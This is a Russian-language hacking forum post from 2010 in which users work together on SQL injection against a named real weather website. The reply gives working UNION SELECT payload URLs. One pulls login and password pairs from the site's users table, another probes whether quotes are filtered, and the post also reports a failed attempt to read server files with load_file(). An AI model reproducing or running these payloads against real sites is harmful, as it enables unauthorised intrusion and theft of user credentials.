13.02.2010, 00:47
|
|
Познающий
Регистрация: 09.04.2008
Сообщений: 79
Провел на форуме:
463189
Репутация:
124
|
|
Сообщение от daniel_1024
http://www.pogoda.ua/index.php?id=6209+and+1=0+union+select+0,1,2,3,4--
там скуль четвертой версии...я пробрутил названия таблиц..толку мало...можно ли че-нить сделать ?!
Вполне себе существует таблица users с полями login и password:
Код:
http://www.pogoda.ua/index.php?id=-1+union+select+0,concat_ws(0x3a,login,password),2,3,4+from+users--
Уж к чему-то, но они подходят.
Кроме того, прокатывает запрос вида:
Код:
http://www.pogoda.ua/index.php?id=-1+union+select+0,'1',2,3,4--
Подозреваю, что разрешены кавычки, но не уверен - попробовал прочитать файл через load_file(), - не вышло. Думаю, из-за того что файловых прав нет.
|
|
|